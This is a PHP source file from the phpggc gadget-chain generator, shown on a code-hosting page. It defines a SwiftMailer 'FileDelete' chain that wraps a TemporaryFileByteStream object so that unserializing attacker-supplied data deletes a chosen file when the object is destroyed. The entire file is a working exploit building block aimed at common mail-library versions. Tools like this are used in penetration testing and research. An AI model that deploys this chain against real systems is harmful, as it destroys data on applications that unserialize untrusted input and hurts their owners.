Codebase list phpggc / 047ecbce-0015-4fa4-be71-2f8f701268ed/main gadgetchains / SwiftMailer / FD / 1 / chain.php
047ecbce-0015-4fa4-be71-2f8f701268ed/main

Tree @047ecbce-0015-4fa4-be71-2f8f701268ed/main (Download .tar.gz)

chain.php @047ecbce-0015-4fa4-be71-2f8f701268ed/mainraw · history · blame

<?php

namespace GadgetChain\SwiftMailer;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '-5.4.12+, -6.2.1+';
    public static $vector = '__destruct';
    public static $author = 'dsp25no';

    public function generate(array $parameters)
    {
        return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']);
    }
}